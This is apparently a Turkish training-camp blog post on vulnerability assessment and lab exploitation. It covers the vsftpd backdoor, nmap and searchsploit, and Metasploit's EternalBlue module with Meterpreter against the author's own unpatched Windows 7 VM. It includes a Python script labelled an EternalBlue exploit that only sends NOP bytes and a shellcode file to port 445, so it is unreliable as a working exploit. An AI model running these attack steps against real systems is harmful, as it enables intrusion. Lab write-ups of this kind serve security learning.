Herkese Selamlar,
Bu yazımda kampta aldığımız zafiyet tespiti ve sömürü konularına değineceğim. Senaryoyu biraz değiştirdim. Normalde biz eğitimi VSFTPD kurulu ve Apache server kurulu bir Linux sanal makinesi üzerinde dosya yükleme ile reverse shell açma ve zafiyeti sömürme üzerine eğitim almıştık. Ben bunun yerine ilk önce elimde olan Windows XP ve Windows 7 makinelerde tarama yaptım fiziksel makineler üzerinde ancak sonrasında Windows 7 makinede yama olduğundan işe yaramadı ve Windows XP makine üzerinde açık olsa bile exploit'in zarar verme ihtimalinden sanal bir makine üzerinde ham Windows 7 için güvenilir bir exploit ile denemeye karar verdim.
Ek olarak derste işlemesekte zararsız bir payload kodu ile Python üzerinde payload mantığını anlatmaya çalıştım.

⚠️Yasal Uyarı: Eğitim sırasında gördüğümüz bazı teknik detaylar, belirli sistemlerin kritik bilgilerine veya adreslerin erişime yol açabileceği için sansürlenmiştir ve bazı veriler ve bilgiler yasal nedenlerden eklenmemiştir. Yazının amacı tamamen etik ve eğitim odaklıdır. Burada yer alan bilgilerin kötüye kullanılması durumunda oluşabilecek tüm yasal sorumluluklar size aittir; şahsım herhangi bir sorumluluk kabul etmemektedir.
⚠️ Legal Disclaimer: Some technical details covered during the training have been censored, as they could potentially allow access to sensitive information on certain systems. The purpose of this article is strictly ethical and educational. Any misuse of the information provided here is solely your responsibility; I do not accept any liability in such cases.
Zafiyet Yaşam Döngüsü

Zafiyet yaşam döngüsü, sistemdeki güvenlik açıklarının yönetilmesi için sürekli bir süreçtir: 1. Assessment (Değerlendirme): Sistemler taranır ve mevcut zafiyetler tespit edilir. 2. Prioritization (Önceliklendirme): Bulunan zafiyetler önem ve risk kriterlerine göre sıralanır. 3. Remediation (Düzeltme / Giderme): Öncelikli zafiyetler için yamalar uygulanır, konfigürasyon değişiklikleri yapılır veya geçici önlemler alınır. 4. Validation (Doğrulama): Uygulanan düzeltmelerin etkili olup olmadığı test edilerek doğrulanır. 5. Monitoring (İzleme): Sistemler sürekli izlenir ve yeni veya tekrar eden zafiyetler takip edilir. 6. Improvement (İyileştirme): Süreç boyunca elde edilen veriler ve deneyimler analiz edilip güvenlik politikaları ve yönetim süreçleri geliştirilir.
Zafiyetin Sistemi Etkilemesi

Sistemler üzerinde bulunan zafiyetler genellikle sömürüye açık olduğu durumda payload saldırılarıyla sistemin belli bir kısmını, alt sistemleri ve tüm sistemi etkileyebilir. Bu nedenle sistemlerin yamalanabiliyorsa yamalanması ve zafiyetlerin azaltılması önemlidir. Yamalanamıyorsa izolasyon yapılması gerekebilir. İzolasyondan kastım nedir? Örneğin bir fabrikada Windows 98 bilgisayarınız vardır ve bu şirketin ağına bağlıdır, araba parçalarının basımlarını kontrol eden programı çalıştırıyordur. Bu durumda ağ üzerinde güvenlik izolasyon önlemleri alınıp sistem üzerinde çalışan servisler azaltılabilir. Başka bir örnek verelim, örneğin sizin şirketinizin içerisinde yazıcıların kullandığı bir yazılım olsun ve sistemlerin çoğunda bu yazılımın açıklarından kaynaklı PE (privilege escalation/yetki yükseltme) saldırısı gerçekleştirildiğini düşünelim . Bu saldırı olduğunda genelde yetkisiz kullanıcıların sistemler üzerinde yetki kazanmasına neden olabiliyor. Bu durumda saldırgan ağ içine sızdıysa veya açığın tehdit seviyesine göre ağı dışarıdan yönetebilmesine izin veriyorsa tüm sistem veya alt sistemler etkilenebilir. Buna yakın bir örnek vermem gerekirse CVE-2020–1048 ele alınabilir. Temel skor yüksek görünmekte.
https://www.cvedetails.com/cve/CVE-2020-1048/
Exploit Database Aracılığı İle Zafiyetler Hakkında Bilgiler Toplama Exploit database bize bilinen zafiyetlerin sömürüldüğü durumda neler yapılabildiği konusunda bilgi paylaşan bir platformdur. Burada yine Windows sistemlerde olan print spooler servisinde bir yetki yükseltmeye neden olan bir açık olduğu görülmüş.

Ancak ek bir bilgi eklemek isterim, zero day zafiyetleri buralarda listelenmez. Nedeniyse zero day açıkları genelde bilinmediği için, birileri tespit edip raporlayana kadar buna benzer sitelerde yayınlanmaz.
Rapid 7 Üzerinden Bilgi Toplama

Burada başka bir bilgi toplama kaynağımız olan rapid7 ile başka bir açığı ele alalım. MS08–067 açığı genelde bir RCE (Remote Code Execution / Uzaktan Kod Çalıştırma) saldırısı olarak değerlendirilmektedir. https://www.rapid7.com/blog/post/2014/02/03/new-ms08-067/
Searchsploit İle Zafiyet Arama Searchsploit Kali Linux üzerinde olan Exploit DB'nin bir kopyasıdır diyebiliriz. İnternet olmadığı durumlarda açıklar hakkında bize bilgi verebiliyor.

Bir örnek araması yapalım:

Görüldüğü üzere Linux sistemlerine ait PPTP açığını gösterdi. Ek bir not olarak bilgi aktaracağım, bu sistem üzerinde bir sistem zafiyet taraması yapmıyor, exploit db üzerinde olan açıkların bilgisini sadece bilgisayarda yerel veritabanında tutuyor. Amaç sadece buradan açıklar hakkında bilgi edinebilmek.
Başka bir örnek olarak vsftpd hakkında bilgi arayalım:
vsftpd üzerinde olan exploitlerin python ve ruby kodları.
Buradan bu zafiyetlerin ID numarasından inceleme yaptırdım hem ruby hem python için yazılmış scriptler var.
Kodları incelediğimizde shell açılabilmesi için ":)" ifadesinin girilmesi gerekiyor FTP portundan bağlantı sağlamaya kalktığımızda. Yani Birisi burada shell açılabilmesi için şifre ne olursa olsun kullanıcı kısmına ":)" yazdığımızda erişmemize olanak sağlayacak bir kod yazmış.
CVE verisini incelemek için araştırma yapıyoruz.
Burada da daha detaylı bir raporunu görüyoruz.
VSFTPD Backdoor'u Kullanma

Vsftpd genelde Linux sistemlerinde olan FTP sunucularında olan bir zafiyettir. Peki biz bunu nasıl sömürebiliriz?

Python versiyonlarında genelde değişimler olabiliyor ve bu durumda daha önceden yazılmış exploit scriplerinde sorun oluşabiliyor. Çıktıyı google üzerinde arattığımızda böyle bir sonuçla karşılaşıyoruz.
Buradan şunu anlıyoruz, Python 3.13 ile telnetlib kaldırılmış. Daha önce ki versiyonları kullanmamız gerekebilir.
Bazen tekrar denemek gerekebiliyor. Tek seferde olmayabiliyor.
Shell açıldı ve içerideyiz.
Sistem içerisinde ki dosyaları görebiliyoruz kullanıcıları görebiliyoruz.
Windows Makineler Üzerinde Zafiyet Aramaya Devam
Nmap ile ufak bir tarama yapalım ağımda daha demin payload saldırısı düzenlediğim Windows 7 makinemi tarıyorum ve bunun çıktılarını pentest.xml dosyasına kayıt ediyorum.
Şimdi sırada pentest.xml dosyasını searchsploit ile tarama yaptırıyorum.
Windows 7 SP1 Pro makinede olan açıklar. Ancak bu yöntem çok fazla çıktı verdiği için çok tercih edilmeyebilir bu durumda kendimiz ayrı ayrı incelemeler yaparak daha kolay işlemler yapabiliriz. Ancak tabii ki burada bütünsel bakmak istendiği durumda çok fazla işimize yarayabilir.
Reverse Shell vs Bind Shell: Bind Shell: Hedef sistem belirli bir portta dinler; saldırgan bu porta bağlanarak shell'e erişir. Basit ama firewall/NAT engellerine karşı hassastır. Reverse Shell: Saldırgan bir portta dinler; hedef makine bu port üzerinden saldırgana bağlanır ve shell sağlar. Firewall/NAT kısıtlamalarını aşabilir, daha stealth ve güvenlidir. (Az önce örneğini yaptık vsftpd ile)
Metasploit Framework: Metasploit framework içerisinde çoğu sistem için zafiyetler barındıran bir yapıdır. Kütüphanelerinde Windows XP, Windows 7 veya güncel sistemlerde bulunan açıklar var ise bunların CVE verisi çıktıysa çeşitli exploit kodları barındırabiliyor. Sürekli güncelleme almaktadır.
Metasploit İçin Ön Hazırlıklar: EternalBlue Zafiyetini Sömürmek

Peki biz başka zafiyetler bulamaz mıyız? Bulabiliriz. Windows 7 ve sonradan olan haleflerinde olan eternalblue açığını RCE tetiklemeden payload attack deneyebiliriz. Shellcode hazırlayıp calc.exe çalıştırmayı deneyebiliriz ancak bu çok hassas bir iş ben sadece burada basit bir payload oluşturup göndermeyi göstereceğim. Normalde bu tip şeyler makinenin BSOD vermesine neden olabilir. EternalBlue 2017 yılında wannacry saldırılarında ortaya çıkmıştı Windows sistemlerde SMB servisinin çalıştığı 445 portu üzerinde olan bir açıktı. Saldırgana zafiyet bulunan sistemler üzerinde RCE (Uzaktan Kod Çalıştırma / Remote Code Execution) yapmasına izin veriyordu. Zararsız Payload Oluşturma
#!/usr/bin/env python3
import socket
from impacket.smbconnection import SMBConnection
def send_eternalblue(target_ip, shellcode_file, numGroomConn=13):
# Shellcode dosyasını oku
with open(shellcode_file, 'rb') as f:
shellcode = f.read()
# Örnek: fakeSrvNetBuffer ve feaList (bytes olarak)
fakeSrvNetBuffer = b'\x90'*1024 # Test için NOP sled, gerçek payload buraya gelecek
feaList = b'\x90'*256 # Groom için test payload
# SMB bağlantısı (guest login)
try:
conn = SMBConnection(target_ip, target_ip)
conn.login('', '')
except Exception as e:
print(f"[!] SMB bağlantısı kurulamadı: {e}")
return
# Groom bağlantıları
for i in range(numGroomConn):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 445))
s.send(feaList)
s.close()
except Exception as e:
print(f"[!] Groom bağlantısı {i} başarısız: {e}")
# Asıl exploit paketi
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 445))
s.send(fakeSrvNetBuffer + shellcode)
print("[+] Exploit paketi gönderildi!")
s.close()
except Exception as e:
print(f"[!] Exploit gönderilemedi: {e}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <shellcode_file> [numGroomConn]")
sys.exit(1)
ip = sys.argv[1]
shellcode_file = sys.argv[2]
numGroomConn = int(sys.argv[3]) if len(sys.argv) > 3 else 13
send_eternalblue(ip, shellcode_file, numGroomConn)
Msfvenom ile shellcode oluşturmak Msfvenom, Metasploit çerçevesinin payload generator/packer/encoder aracıdır: farklı platform/ mimari için shellcode, yürütülebilir dosya ya da çeşitli formatlarda (ör. raw binary, exe, elf, dll, python, vb.) payload üretir.

Shellcode hazırlıyoruz burada binary formatında bir dosya oluşturduk. Aslında amacımız burada sadece zararsız bir payload atmak. Hedef makinede calc.exe'yi çalıştırmayacak. Msfvenom metasploit framework'e ait kabuk kodu oluşturmamıza yarayan bir modüldür. Bu araç genelde payload oluşturulduktan sonra çalıştırılacak shell komutlarını kullanmak üzerine hazırlanır.
Hedef makineye zararsız payload'ı gönderiyoruz.
Ben bunu evimde olan laptoplardan birisinde denedim. Amacım sadece basit bir payload göndermekti. Herhangi bir zarar vermiyor veya RCE tetiklemiyor.
Şimdi sırada yamalı olan bir makinede bu exploiti kullanmaya çalışırsak karşımıza neler çıkacabilir onu görelim.
Konsola msfconsole yazdığımızda Metasploit framework başlayacaktır.
2519 bilinen exploit, 1607 adet payload, encoders 49 adet bunlar genelde IPS/Firewall/AV gibi araçları atlatmak için, 9 evasion, 13 nops (bypass için) , 1291 auxiliary yardımcı modüller, 431 adet post explotation tekniği içeriyor. Güncelleme aldıkça bu sayılar değişebilir oldukça güçlü bir araçtır ve ücretsizdir.
Kütüphanede olan exploitleri listeliyor. Exploitler listelenirken exploit/platform olarak listelenir.
Rank kavramı: Genelde sistem versiyonlarına göre ayarlamalar yapabilenlere excellent değerlendiriliyor. Normal ve aşağısına indikçe sistemleri kitleyecek exploitler olabiliyor bu durumda kullanırken kontrol etmek gerekir.
Vsftpd için sorgulama yaptığımızda 3 tane exploit buldu.
Exploit için bilgi istedik yazarı, nasıl hareket ettiği gibi bilgiler elde edebiliyoruz. Her exploit her payload içerisinde çalışmaz. Uyumlu payloadları görmek için birkaç işlem yapmamız gerekecektir.
Görüldüğü üzere eternal blue açığı için payloadlar var. 73 Adet payload buldu.

Burada payloadların ayarlarını görebiliyoruz. Exploit target kısmı genelde her işletim sistemine özel hedef mantığı var. Otomatik olarak metasploit kendisi tarayabiliyor ancak spesifik bir özelliği veya servisi, sistemi hedef alıyorsak burada ince ayarlar yapmamız gerekebilir. Bazı durumlarda bu ince ayarlar exploitin çalışmasını sağlayabiliyor.

Bir deneme yaptık ve payload'ın işe yaramadığını gördük. Üzerinde yama olduğu için makine üzerinde exploit çalışmıyor. Yama olmasaydı şayet bu durumda exploitlerimiz çalışabilirdi. Kesin çalışır demek doğru olmaz çünkü bazı exploitlerin mantığı farklı olabiliyor bazıları tek seferde çalışırken bazıları birkaç deneme ile çalışabiliyor. Yukarıda VSFTPD örneğinde 2 kere denedik shell başlatmak için bazen tek seferde de olabiliyor.
Peki biraz daha eğlenceli şeyler yapalım o zaman, bu sefer açık yamalanmamış bir Windows 7 makine çalıştıracağım. Bu açık aradığım bilgisayarlar genelde fiziksel makinelerdi. Şu an VM ortamında Windows 7 kurulumu yapıp test edeceğiz.
Nmap ile klasik port ve servis taramamızı yapıyoruz.
Zafiyet taramamızı yaptık. Eternal blue bu sürümde de var 445 portunda arama yaptık ve RCE için açık var.
Burada ne yaptığımı açıklayayım, sistem üzerinde ilk önce eternal blue exploitini kullanmak için hazırladım sonrasında RHOST ve RPORT ile hedef sistemin IP ve port bilgisini ayarladım. Ardından LHOST ve LPORT ile saldırgan sistemin IP port bilgilerini girdim. Check komutuyla zafiyetin uygun olup olmadığını önceden kontrol ettirdim sonrasında ise uygun olduğunu görünce exploit ettim.
Ardından oturum oluşturdum ve sistemin bilgilerini kontrol ediyorum.
Ardından meterpreter ile shell bağlantısı açtım ve masaüstüne "Hacked by Cyber Machine!" ifadesini içeren bir txt dosyası bastırdım. Biraz eğlenmek istedim işin doğrusu. Windows 7 makineyi biraz lunaparka çevirmek istedim. :)
Shell üzerinden process olarak hesap makinesi açtım. GUI olarak görünmüyor ancak ilgili makinede get-process ile powershellden görebiliyorum.

Yukarıda meterpreter'dan bahsetmiştim bunun ne olduğuna da değinelim kendisi bir payload olarak bir shelldir. Hedef sistem üzerinde bellek üzerine enjeksiyon yaparak bir yerde çalışıyor. Var olan proseslerden birisine enjekte edip o sistemde kurulu olan servislerin içinde çalışır. Tespit edilmesi oldukça zordur. Keylogger ve pivoting gibi birden fazla özelliği mevcut. Bu yukarıda yaptıklarımın hepsini metasploit içinde olan meterpreter ile yaptım. Shell açtım sistem bilgilerine eriştim ve hedef sisteme ben buradayım dedim. Meterpreter için detaylı kaynak: https://www.offsec.com/metasploit-unleashed/meterpreter-basics/
Son sözler: Normalde kampta biz Apache server üzerine dosya yükleme saldırısı yaptık. Fakat ben biraz daha işi merak ettiğim bir konuya dönüştürdüm normalde kampta metasploit, nmap, mimikatz ve crowdstrike falcon gibi araçları gördük. Benim aslında burada RCE saldırısını yapmak istememde ki ana sebep payload mantığını çok daha iyi anlatıyor. Fiziksel bilgisayarlarımda Microsoftun yamaları olduğu için bu exploit çalışmadığından güncelleme almamış ham bir Windows 7 kurup bu işlemi gerçekleştirmeye karar verdim.
Bir yazımın daha sonuna geldim. Okuduğunuz için teşekkür ederim. Bir sonraki yazıya kadar görüşmek üzere.
#CyberSecurity #Windows7 #Kali #EternalBlue #Exploit #Metasploit #Searchsploit